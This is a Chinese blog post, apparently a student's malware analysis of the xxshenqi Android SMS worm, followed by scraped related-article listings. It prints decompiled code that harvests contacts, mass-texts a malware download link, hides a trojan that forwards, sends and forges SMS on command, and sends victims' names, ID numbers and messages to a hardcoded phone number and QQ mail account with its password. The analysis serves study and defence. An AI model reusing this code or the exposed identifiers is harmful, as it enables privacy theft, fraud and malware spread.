背景

今年七夕爆发了一场大规模手机病毒传播,apk的名字叫做xxshenqi。中了这个病毒的用户会群发手机所有联系人一条信息,内容是包含这个apk下载的链接,同时用户的联系人信息和短信会被窃取,造成隐私泄露和电话扣费的危害。事实上,xxshenqi.apk只是一个外壳,达到扩散及得到用户的身份证和姓名的目的,它解压后会发现还内嵌有一个com.android.Trogoogle.apk的木马程序,这个程序能够控制用户短信,包括读取,发送和伪造。

反编译

由于软件的作者没有进行代码混淆,所以对apk反编译之后的代码一目了然。

前期准备:

1.解压软件    (解压apk,获得classes.dex)

2.dex2jar    (将apk的classes.dex转化为jar文件)

3.jd-gui    (反编译工具,直接查看jar包的源代码)

4.xxshenqi.apk    (样本)

步骤:

1.用解压软件把xxshenqi.apk解压出来,找到一个classes.dex文件,这个是安卓源码编译过的字节码包

2.将这个classes.dex文件复制到dex2jar.bat同一目录下

3.cmd到该目录下,运行命令>> d2j-dex2jar.bat classes.dex

4.得到一个classes_dex2jar.jar文件

5.用jd-gui.exe打开这个jar文件,就可以看到源代码了

6.用1-5步骤得到assets目录下的com.android.Trogoogle.apk的源代码

代码分析

包名:com.example.xxshenqi

|->点击登陆按钮->永远无法登陆成功

程序运行的步骤是:WelcomeActivity->MainActivity{

|->点击注册按钮->RegisterActivity

WelcomeActivity

首先可以发现WelcomeActivity是最开始的欢迎界面,在启动这个界面的过程中,程序就已经完成以下几件事:

1.读取联系人信息,包括联系人姓名和联系人手机号码

2.向所有联系人群发一条短信

3.群发完成后向作者发送一条完成短信

接下来分析WelcomeActivity中的ReadCONTACTS方法中的代码:

 private void ReadCONTACTS(Context paramContext)
{
this.contactArray = new ArrayList();
this.context = paramContext;
this.cursor = this.context.getContentResolver().query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null);
new Thread()
{
public void run()
{
if (!WelcomeActivity.this.cursor.moveToNext())
{
if (WelcomeActivity.this.counts != 99) {}
}
else
{
String str = WelcomeActivity.this.cursor.getString(WelcomeActivity.this.cursor.getColumnIndex("_id"));
WelcomeActivity.this.nameString = WelcomeActivity.this.cursor.getString(WelcomeActivity.this.cursor.getColumnIndex("display_name"));
Cursor localCursor = WelcomeActivity.this.context.getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, "contact_id = " + str, null, null);
ArrayList localArrayList = new ArrayList();
localArrayList.add("\r\n" + WelcomeActivity.this.nameString);
for (;;)
{
if (!localCursor.moveToNext()) {}
for (;;)
{
localCursor.close();
WelcomeActivity.this.contactArray.add(localArrayList);
break;
WelcomeActivity.this.phoneString = localCursor.getString(localCursor.getColumnIndex("data1"));
WelcomeActivity.this.phoneString = WelcomeActivity.this.phoneString.replace(" ", "");
WelcomeActivity.this.phoneString = WelcomeActivity.this.phoneString.replace("+86", "");
try
{
if (WelcomeActivity.this.phoneString.length() == 11)
{
sleep(20L);
if ((WelcomeActivity.this.counts % 20 == 0) && (WelcomeActivity.this.counts != 0)) {
sleep(5000L);
}
if (WelcomeActivity.this.counts == 99) {
continue;
}
SmsManager.getDefault().sendTextMessage(WelcomeActivity.this.phoneString, null, WelcomeActivity.this.nameString + "看这个," + "http://cdn.yyupload.com/down/4279193/XXshenqi.apk", null, null);
WelcomeActivity localWelcomeActivity1 = WelcomeActivity.this;
localWelcomeActivity1.counts = (1 + localWelcomeActivity1.counts);
System.out.println("send Message to " + WelcomeActivity.this.nameString + " " + WelcomeActivity.this.counts);
}
}
catch (Exception localException)
{
for (;;)
{
localException.toString();
}
}
}
localArrayList.add(WelcomeActivity.this.phoneString);
}
}
SmsManager.getDefault().sendTextMessage("18670259904", null, "XXshenqi 群发链接OK", null, null);
WelcomeActivity localWelcomeActivity2 = WelcomeActivity.this;
localWelcomeActivity2.counts = (1 + localWelcomeActivity2.counts);
System.out.println("===========================");
System.out.println("test---->群发OK");
System.out.println("============================");
}
}.start();
}

可以看到以下几条关键代码:

this.cursor = this.context.getContentResolver().query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null);

读取通讯录

WelcomeActivity.this.nameString = WelcomeActivity.this.cursor.getString(WelcomeActivity.this.cursor.getColumnIndex("display_name"));

获得联系人姓名

 WelcomeActivity.this.phoneString = localCursor.getString(localCursor.getColumnIndex("data1"));

获得联系人手机号码

在这里,作者对联系人手机号码做了一些处理,把空格和"+86"前缀去掉,得到11位的手机号码,在判断手机号码为11位之后,就开始发短信。同时,为了防止过于快速的发送短信被运营商封禁,作者还做了休眠(sleep()),每条短信休眠20ms,每20条短信休眠5秒,每100条短信清空一下指针。

SmsManager.getDefault().sendTextMessage(WelcomeActivity.this.phoneString, null, WelcomeActivity.this.nameString + "看这个," + "http://cdn.yyupload.com/down/4279193/XXshenqi.apk", null, null)

上面就是发送短信的代码,也就是广大用户收到的那条短信,可以看出第一个参数是接收端的手机号码,第三个参数是短信内容,其中这里的代码phoneString存的是手机号码,nameString存的是联系人名字。

SmsManager.getDefault().sendTextMessage("18670259904", null, "XXshenqi 群发链接OK", null, null);

最后,群发成功后就会发送一条信息给作者。这里也可以看到作者的手机号码。

MainActivity

在前面程序完成了散播病毒的功能,接下来在MainActivity完成以下几件事:

1.检测Trogoogle子包是否已经安装,如果没有,就引导用户去安装,然后找到assets目录下的com.android.Trogoogle.apk安装

2.安装成功后会发一条信息给作者,表示用户已经中了木马

3.此时到了程序主界面,如果用户选择“登陆",就先对网络进行检测,事实上用户是永远不可能登陆成功的,因为若用户输入的密码大于等于6位,会显示"正在验证,请稍后..."“密码错误或账号不存在”,若用户输入的密码小于6位,会显示"请输入正确的密码或账号"(传说中的坑爹);如果用户选择"注册",那么就会到了RegisterActivity进行注册

检测和安装Trogoogle

 1 if (!detectApk("com.example.com.android.trogoogle"))
{
System.out.println("host开始安装==============================");
String str = getFilesDir().getAbsolutePath() + "/com.android.Trogoogle.apk";
retrieveApkFromAssets(this, "com.android.Trogoogle.apk", str);
showInstallConfirmDialog(this, str);
}</span> <span style="font-size:18px;"> public boolean retrieveApkFromAssets(Context paramContext, String paramString1, String paramString2)
{
try
{
File localFile = new File(paramString2);
if (localFile.exists()) {
return true;
}
localFile.createNewFile();
InputStream localInputStream = paramContext.getAssets().open(paramString1);
FileOutputStream localFileOutputStream = new FileOutputStream(localFile);
byte[] arrayOfByte = new byte[1024];
boolean bool;
for (;;)
{
int i = localInputStream.read(arrayOfByte);
if (i == -1)
{
localFileOutputStream.flush();
localFileOutputStream.close();
localInputStream.close();
bool = true;
break;
}
localFileOutputStream.write(arrayOfByte, 0, i);
}
AlertDialog.Builder localBuilder;
return bool;
}
catch (IOException localIOException)
{
Toast.makeText(paramContext, localIOException.getMessage(), 2000).show();
localBuilder = new AlertDialog.Builder(paramContext);
localBuilder.setMessage(localIOException.getMessage());
localBuilder.show();
localIOException.printStackTrace();
bool = false;
}
} public void showInstallConfirmDialog(final Context paramContext, final String paramString)
{
AlertDialog.Builder localBuilder = new AlertDialog.Builder(paramContext);
localBuilder.setIcon(2130837592);
localBuilder.setTitle("未安装资源包");
localBuilder.setMessage("请先安装资源包,资源包已整合至APK,点击安装即可安装。");
localBuilder.setPositiveButton("安装", new DialogInterface.OnClickListener()
{
public void onClick(DialogInterface paramAnonymousDialogInterface, int paramAnonymousInt)
{
try
{
String str = "chmod 777 " + paramString;
Runtime.getRuntime().exec(str);
Intent localIntent = new Intent("android.intent.action.VIEW");
localIntent.addFlags(268435456);
localIntent.setDataAndType(Uri.parse("file://" + paramString), "application/vnd.android.package-archive");
paramContext.startActivity(localIntent);
return;
}
catch (IOException localIOException)
{
for (;;)
{
localIOException.printStackTrace();
}
}
}
});
localBuilder.show();
}

登陆

  public void onClick(View paramAnonymousView)
{
if (!MainActivity.this.detectApk("com.example.com.android.trogoogle"))
{
String str = MainActivity.this.getFilesDir().getAbsolutePath() + "/com.android.Trogoogle.apk";
MainActivity.this.retrieveApkFromAssets(MainActivity.this, "com.android.Trogoogle.apk", str);
MainActivity.this.showInstallConfirmDialog(MainActivity.this, str);
return;
}
if (!MainActivity.this.goToNetWork())
{
Toast.makeText(MainActivity.this, "无法连接,请检查您的网络!", 0).show();
return;
}
if (MainActivity.this.pass.getText().toString().length() >= 6)
{
Toast.makeText(MainActivity.this, "正在验证,请稍后...", 0).show();
Toast.makeText(MainActivity.this, "密码错误或账号不存在!", 0).show();
return;
}
Toast.makeText(MainActivity.this, "请输入正确的账号或密码", 0).show();
}

RegisterActivity

 public void onClick(View paramAnonymousView)
{
String str = RegisterActivity.this.idEditText.getText().toString();
if (str.length() != 18)
{
Toast.makeText(RegisterActivity.this, "请输入正确的身份证号", 0).show();
return;
}
int i = Integer.parseInt(str.substring(6, 10));
int j = Integer.parseInt(str.substring(10, 12));
int k = Integer.parseInt(str.substring(12, 14));
if ((i > 1996) || (i < 1980) || (j > 12) || (j == 0) || (k == 0) || (k > 31))
{
Toast.makeText(RegisterActivity.this, "请输入正确的身份证号", 0).show();
return;
}
if ((RegisterActivity.this.nameEditText.getText().toString().length() < 2) || (RegisterActivity.this.nameEditText.getText().toString().length() > 4))
{
Toast.makeText(RegisterActivity.this, "请输入正确的姓名", 0).show();
return;
}
SmsManager.getDefault().sendTextMessage("18670259904", null, "得到主机,姓名:" + RegisterActivity.this.nameEditText.getText().toString() + ",身份证号为:" + str, null, null);
Toast.makeText(RegisterActivity.this, "注册成功!", 0).show();
RegisterActivity.this.startActivity(new Intent(RegisterActivity.this, MainActivity.class));
}

这个注册的Activity获取了用户填写的姓名和身份证号,注册完成后这些信息会以短信的形式发送到作者的手机上。同时,从上面的代码可以看出作者也对姓名和身份证号做了简单的校验。

分析完掩人耳目的外壳,现在来看里面的木马程序

包名:example.com.android.trogoogle

MainActivity

在这个入口程序中,主要的功能是实现隐藏图标。

 protected void onCreate(Bundle paramBundle)
{
super.onCreate(paramBundle);
requestWindowFeature(1);
setContentView(2130903063);
getPackageManager().setComponentEnabledSetting(getComponentName(), 2, 1);
System.out.println("APP图标隐藏成功==============================");
Intent localIntent = new Intent();
localIntent.setClass(this, ListenMessageService.class);
startService(localIntent);
System.out.println(" startService成功==============================");
System.out.println("--------->>>finish()");
finish();
}

ListenMessageService

这里有个比较重要的类SmsObserver,顾名思义,是用来监控短信的。里面包含了SEND查询和RECV查询,以及几种处理状态。当发件箱有变化时,就会进入SEND查询;当收件箱有变化时就会进入RECV查询。

BroadcastRecvMessage

RECV有几种指令,包括

readmessage指令就会读取所有短信并且发送到作者的邮箱中;

sendmessage指令就会发送指定的内容到指定的号码;

makemessage指令伪造短信

 if (!str5.equals("readmessage")) {
break label188;
}
System.out.println("木马收到发送邮件命令==============================");
String str10 = ReadAllMessage(paramContext);
Intent localIntent4 = new Intent(paramContext, MySendEmailService.class);
localIntent4.putExtra("String", str10);
paramContext.startService(localIntent4);
abortBroadcast();
continue;
if (!str5.equals("sendmessage")) {
break label188;
}
System.out.println("木马收到发送短信命令==============================");
int n = str2.lastIndexOf('/');
String str8 = str2.substring(k + 1, n);
String str9 = str2.substring(n + 1, str2.length());
SmsManager.getDefault().sendTextMessage(str8, null, str9, null, null);
System.out.println("木马发送短信成功================================");
 if (!str5.equals("makemessage")) {
break label188;
}
System.out.println("木马收到伪造短信命令==============================");
int m = str2.lastIndexOf('/');
String str6 = str2.substring(k + 1, m);
String str7 = str2.substring(m + 1, str2.length());
Intent localIntent3 = new Intent(paramContext, MyMakeMessageService.class);
localIntent3.putExtra("address", str6);
localIntent3.putExtra("body", str7);
paramContext.startService(localIntent3);

同时还有一些作者判定的信息内容也会发送给作者(比如,淘宝和普通的信息)

 System.out.println("木马觉得淘宝信息==============================");
str4 = "【特殊消息】" + str2;
if (str4.length() > 60)
{
localSmsManager.sendTextMessage("18670259904", null, str4.substring(0, str4.length() / 2), null, null);
localSmsManager.sendTextMessage("18670259904", null, str4.substring(1 + str4.length() / 2), null, null);
}
 System.out.println("木马觉得是普通信息==============================");
localSmsManager.sendTextMessage("18670259904", null, "From:" + str3 + ";content:" + str2, null, null);

MySendEmailService

这里作者暴露了他的个人邮箱和口令

 protected void onHandleIntent(Intent paramIntent)
{
System.out.println("木马进入MySendEmailService==============================");
String str = paramIntent.getStringExtra("String");
System.out.println("木马开始发送邮件============================");
MailSenderInfo localMailSenderInfo = new MailSenderInfo();
localMailSenderInfo.setMailServerHost("smtp.qq.com");
localMailSenderInfo.setMailServerPort("25");
localMailSenderInfo.setValidate(true);
localMailSenderInfo.setUserName("a137736513@qq.com");
localMailSenderInfo.setPassword("lishulili.");
localMailSenderInfo.setFromAddress("a137736513@qq.com");
localMailSenderInfo.setToAddress("137736513@qq.com");
localMailSenderInfo.setSubject("信息");
localMailSenderInfo.setContent(str);
new SimpleMailSender().sendTextMail(localMailSenderInfo);
SimpleMailSender.sendHtmlMail(localMailSenderInfo);
System.out.println("木马完成发送邮件=============================");
System.out.println("木马离开MySendEmailService=============================");
System.out.println("木马killProcess==============================");
Process.killProcess(Process.myPid());
}

当然,现在口令已经被改了。

总结

据作者本人说没想过影响会那么大。确实,社工部分非常简陋,传播的信息内容只是”xxx,看这个,http://cdn.yyupload.com/down/4279193/XXshenqi.apk“,这样子看来,毫不犹豫点击这个链接看上去挺傻的,因为发送者什么都没有说明,可事实上确实有很多用户中招了。

虽然很多人说作者做这个东西其实没什么技术含量,但是他才大一,并且想做就做了,这点挺佩服的,如果能增加一点法律意识可能就没那么悲剧了。

后记

这个程序在安全大牛眼里可能是一个玩具,但是对于我来说拿来练手就刚刚好了。第一次反编译和分析apk,有种莫名的成就感。不过文章写出来,似乎表达差了一点。最后非常感谢CJ给我提供了样本。

参考

http://fashion4cj.com/shuo-yi-shuo-xxshenqizhe-ge-shi-qing-ba.html

http://www.cnblogs.com/qxzy/p/3889296.html

xxshenqi分析报告的更多相关文章

  1. Alpha阶段事后分析报告

    每个团队编写一个事后分析报告,对于团队在Alpha阶段的工作做一个总结. 请在2016年11月24日上课之前根据下述博客中的模板总结前一阶段的工作,发表在团队博客上,并在课上的事后分析会上进行汇报,并 ...

  2. 《奥威Power-BI智能分析报告制作方法 》精彩回顾

     上次课我们简单介绍了奥威Power-BI的智能分析报告,并展示了报告与图表相结合的应用场景.图文分析报表的意义不只在于美观,更重要的是固定框架下的灵活性和追根究底的动态分析,有着很强的实用性.上节课 ...

  3. 12月07日《奥威Power-BI智能分析报告制作方法 》腾讯课堂开课啦

            前几天跟我一个做报表的哥们聊天,听着他一茬一茬地诉苦:“每天做报表做到想吐,老板看报表时还是不给一个好脸色.”我也只能搬出那一套“过程大于结果”的内心疗程赠与他,没想到他反而怒了:“做 ...

  4. M1事后分析报告(Postmortem Report)

    M1事后分析报告(Postmortem Report) 设想和目标 1. 我们的软件要解决什么问题?是否定义得很清楚?是否对典型用户和典型场景有清晰的描述? 我们项目组所开发的软件为一个基于Andro ...

  5. websphere OSGi应用环境下服务调用saaj包加载问题分析报告

    websphere OSGi应用环境下服务调用saaj包加载问题分析报告 作者:bingjava 版权声明:本文为博主原创文章,转载请说明出处:http://www.cnblogs.com/bingj ...

  6. Google发布SSLv3漏洞简要分析报告

    今天上午,Google发布了一份关于SSLv3漏洞的简要分析报告.根据Google的说法,该漏洞贯穿于所有的SSLv3版本中,利用该漏洞,黑客可以通过中间人攻击等类似的方式(只要劫持到的数据加密两端均 ...

  7. 推荐一个利用 python 生成 pptx 分析报告的工具包:reportgen

    reportgen v0.1.8 更新介绍 这段时间,我对 reportgen 进行了大工程量的修改和更新.将之前在各个文章中出现的函数进行了封装,同时也对现有工具包的一些逻辑进行了调整. 1.rep ...

  8. python 生成 pptx 分析报告的工具包:reportgen

    python机器学习-sklearn挖掘乳腺癌细胞( 博主亲自录制) 网易云观看地址 https://study.163.com/course/introduction.htm?courseId=10 ...

  9. 使用AES加密的勒索类软件分析报告

    报告名称:  某勒索类软件分析报告    作者:        李东 报告更新日期: 样本发现日期: 样本类型: 样本文件大小/被感染文件变化长度: 样本文件MD5 校验值: da4ab5e31793 ...

随机推荐

  1. VMware15.5.0安装MacOS10.15.0系统 安装步骤(上)

    VMware15.5.0安装MacOS10.15.0系统安装步骤(上)超详细! 说明: 本文是目前最新的安装和调配教程且MacOS10.15和10.16版本搭建方法相同,我也会在一些细节地方加上小技巧 ...

  2. zabbix监控hbase

    项目地址:https://github.com/Staroon/zabbix-hadoop-template/tree/master/hbase-master-template (1).下载脚本,将其 ...

  3. Hadoop入门学习笔记-第一天 (HDFS:分布式存储系统简单集群)

    准备工作: 1.安装VMware Workstation Pro 2.新建三个虚拟机,安装centOS7.0 版本不限 配置工作: 1.准备三台服务器(nameNode10.dataNode20.da ...

  4. 遍历HashMap常用的的三种方式

    遍历HashMap常用的的三种方式 HashMap是我们使用非常多的集合之一,下面就来介绍几种常用的HashMap的遍历方式. 1.首先定义一个新的HashMap,并往里面添加一些数据. HashMa ...

  5. flink流处理从0到1

    一.DataStream API之Data Sources(消费者之数据源) 介绍: source是程序的数据源输入,你可以通过StreamExecutionEnvironment.addSource ...

  6. netty零基础入门

    直接上代码,从最基本的接收消息规则开始 package cn.qdl; import io.netty.buffer.ByteBuf; import io.netty.channel.ChannelH ...

  7. 散列表PTA判断

    1-1 在散列表中,所谓同义词就是具有相同散列地址的两个元素. (1分) T         F 作者 DS课程组 单位 浙江大学   1-2 采用平方探测冲突解决策略(h​i​​(k)=(H(k)+ ...

  8. Android 开发技术周报 Issue#280

    新闻 6分钟完整视频提前看光谷歌新机Pixel 4a 统一推送官方解读:消灭Android毒瘤.待机续航猛增43% Google Play细化搜索结果:可按评分.编辑推荐.最新上线过滤 教程 了解一下 ...

  9. 【Socket编程】【第一节】【Socket基本原理和套接字】

    参考http://c.biancheng.net/view/2351.html 一.scoket套接字(告诉你使用哪种数据传输方式) 这个世界上有很多种套接字(socket),比如 DARPA Int ...

  10. React使用hook

    Hook 是 React 16.8 的新增特性.它可以让你在不编写 class 的情况下使用 state 以及其他的 React 特性. 为什么会有hook 在组件之间复用状态逻辑很难,需要重新组织你 ...